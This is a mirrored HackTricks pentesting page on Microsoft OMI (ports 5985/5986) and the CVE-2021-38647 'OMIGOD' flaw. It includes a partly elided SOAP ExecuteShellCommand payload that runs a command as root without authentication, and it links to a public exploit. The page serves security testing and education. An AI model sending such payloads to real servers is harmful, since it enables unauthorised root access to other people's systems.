mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
49 lines
2.1 KiB
Markdown
49 lines
2.1 KiB
Markdown
# 5985,5986 - Pentesting OMI
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
### **Basic Information**
|
|
|
|
**OMI** is presented as an **[open-source](https://github.com/microsoft/omi)** tool by Microsoft, designed for remote configuration management. It's particularly relevant for Linux servers on Azure that utilize services such as:
|
|
|
|
- **Azure Automation**
|
|
- **Azure Automatic Update**
|
|
- **Azure Operations Management Suite**
|
|
- **Azure Log Analytics**
|
|
- **Azure Configuration Management**
|
|
- **Azure Diagnostics**
|
|
|
|
The process `omiengine` is initiated and listens on all interfaces as root when these services are activated.
|
|
|
|
**Default ports** used are **5985** (http) and **5986** (https).
|
|
|
|
### **[CVE-2021-38647 Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
|
|
|
|
As observed on September 16, Linux servers deployed in Azure with the mentioned services are susceptible due to a vulnerable version of OMI. This vulnerability lies in the OMI server's handling of messages through the `/wsman` endpoint without requiring an Authentication header, incorrectly authorizing the client.
|
|
|
|
An attacker can exploit this by sending an "ExecuteShellCommand" SOAP payload without an Authentication header, compelling the server to execute commands with root privileges.
|
|
|
|
```xml
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
|
|
...
|
|
<s:Body>
|
|
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
|
|
<p:command>id</p:command>
|
|
<p:timeout>0</p:timeout>
|
|
</p:ExecuteShellCommand_INPUT>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
```
|
|
|
|
For a more information about this CVE **[check this](https://github.com/horizon3ai/CVE-2021-38647)**.
|
|
|
|
## References
|
|
|
|
- [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
|
|
- [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
|
|
|